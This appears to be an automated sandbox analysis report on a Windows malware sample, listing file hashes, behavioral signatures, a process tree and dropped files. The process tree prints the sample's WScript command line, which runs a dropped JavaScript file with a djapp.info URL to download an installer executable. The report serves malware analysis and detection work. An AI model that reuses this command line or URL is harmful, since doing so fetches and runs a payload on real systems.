Analysis
-
max time kernel
118s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
03/11/2024, 20:28
Static task
static1
Behavioral task
behavioral1
Sample
8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe
Resource
win7-20240903-en
General
-
Target
8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe
-
Size
184KB
-
MD5
8d5aecb4788c4100e4f22d6da5f4f6c3
-
SHA1
31b8c12287e9ced994b30845883395ab953039fc
-
SHA256
6d220123b6cd32c5dc7b652c2797e27ba9ce6c40a327d740932a50a3a5b607dd
-
SHA512
e4fc0af6111d0ea7f3070b0b05bcddfcdd1fe3837557dcdbc70946a5cc4ed80a6317b62c387f2885a4144261e664e191fd912ec4b378f6d77d0d3e763f5692e6
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnt
Malware Config
Signatures
-
Blocklisted process makes network request 11 IoCs
flow pid Process 6 2484 WScript.exe 8 2484 WScript.exe 10 2484 WScript.exe 12 2612 WScript.exe 13 2612 WScript.exe 15 320 WScript.exe 16 320 WScript.exe 18 2016 WScript.exe 19 2016 WScript.exe 21 1876 WScript.exe 22 1876 WScript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 2276 1736 WerFault.exe 29 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1736 wrote to memory of 2484 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 30 PID 1736 wrote to memory of 2484 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 30 PID 1736 wrote to memory of 2484 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 30 PID 1736 wrote to memory of 2484 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 30 PID 1736 wrote to memory of 2612 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 33 PID 1736 wrote to memory of 2612 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 33 PID 1736 wrote to memory of 2612 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 33 PID 1736 wrote to memory of 2612 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 33 PID 1736 wrote to memory of 320 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 35 PID 1736 wrote to memory of 320 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 35 PID 1736 wrote to memory of 320 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 35 PID 1736 wrote to memory of 320 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 35 PID 1736 wrote to memory of 2016 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 37 PID 1736 wrote to memory of 2016 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 37 PID 1736 wrote to memory of 2016 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 37 PID 1736 wrote to memory of 2016 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 37 PID 1736 wrote to memory of 1876 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 39 PID 1736 wrote to memory of 1876 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 39 PID 1736 wrote to memory of 1876 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 39 PID 1736 wrote to memory of 1876 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 39 PID 1736 wrote to memory of 2276 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 41 PID 1736 wrote to memory of 2276 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 41 PID 1736 wrote to memory of 2276 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 41 PID 1736 wrote to memory of 2276 1736 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 41
Processes
-
C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2484
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2612
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:320
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2016
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9C4F.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf9C4F.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:1876
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 4802⤵
- Program crash
PID:2276
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD567e486b2f148a3fca863728242b6273e
SHA1452a84c183d7ea5b7c015b597e94af8eef66d44a
SHA256facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb
SHA512d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e
-
Filesize
436B
MD5971c514f84bba0785f80aa1c23edfd79
SHA1732acea710a87530c6b08ecdf32a110d254a54c8
SHA256f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895
SHA51243dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Filesize174B
MD54fa5bd1a1cc46736bfdbe9881aa41257
SHA16085d422f71a43a67c0f1e3d63524fe82176c13a
SHA25692255cb131778d650023d2740f7c4648514ec56551f61ed4ddd547f890f92695
SHA512fc70b2c07248a958e1f3881125e9e5de71133b6ef28af4a9b34dd54817c77b597b88e45e9909d0d052832036e5fce5f315bf76795b7f25e07d05377e46ed34de
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Filesize170B
MD550c03fa614e608b39cec221e330440ae
SHA1151b44839870465901949023ec28a4475983fb59
SHA256d8a4550b08d9f0c99c172123be3e9b5e083c7f06262d5c9b2f066195ca682287
SHA512debecae9c824ad511a0fe95f65d00678116fe4079a1360ce7e705b65416631cbe559148973a9395f0f9d3328a70fac801ca494d963f880112db9f43d6a9f972b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\1LNUKNV0\domain_profile[1].htm
Filesize8KB
MD547f0c839c78d146181fb3b62657ec4ee
SHA1129d687032b7267c46669364e1c0f7cbe26d1ccc
SHA256260987e4aec5cd18617861055d89f0093fa908d4409935e9edbe7a513e2acd09
SHA512923a97c49d82e8e3c6a1674d91bfd79fd90095f1a47d067764aafff346b5466e4bcc7ead75938a60c20ff62ab23d20db7bbf2f78564bcf08deca799e8aea39bf
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\1LNUKNV0\domain_profile[1].htm
Filesize8KB
MD5b9af25957658afba9a8289cc5979281a
SHA1301cc342ae99373697ab76e84186c88bb91ada25
SHA256f396bd15808846b97b24a7dc6d4630c38a3c400b6d32e82e7b44ab50c8b1a494
SHA512ed7005a2ac158afb8cb343b78098e5d2363030a05988f439394977595b153200186e7a5d16887020c25ebb52e7e38def01dbe8da3fd05cf3405b97fed78105c1
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\domain_profile[1].htm
Filesize42KB
MD541570cf431c1b7c8d8423b0069e6b580
SHA1fe5d51f31c3bf74c17aedfb04d5b95d2ea43f836
SHA256a2bf40a35d0d0baae341c043daeb26a46b457aa5bd4c34a1899fd4d4e90189d0
SHA51248f669c2578acf4d160ee54b3819ff468cb2399fe7efaf55536d12901c5dff31ab110945b60a2da0d8e12385c2596547c7648cd077d7e9a2f430870c4effa4d3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\domain_profile[1].htm
Filesize42KB
MD5c70c3af04093a5c5dfbeb7407fdae099
SHA17bab781c768e69a32280278790bc33dbe171e645
SHA256c14aaec0354ca5a76b3cc2925088671f8780e32641666d84b69f167ba9835cb5
SHA512ec26df33329cd89f222bc88b171e9ccd2f3da01e3911ea9061b56d9ab23884883fdb232f8d6d7f39dd6e1e36f53e2a2ffeec1ac7f920706bf5f0978c7c10e6d0
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
Filesize
177B
MD537ff855dd3e0e915decc91674d632bc6
SHA1d7a080ab66b726454e92da937b858550f83d95e2
SHA2568b1541127f175470c7be0e149ccb3dc9d0ba23977fc99b8b10e45b7b5b221295
SHA5129d70a29c1ea2a7365b68826f9e742213654150fb17282bb95c6d5987f5e3675916f903db963fafe4164a93459422333de69f41d3f044dd7c92e8e22f560d285e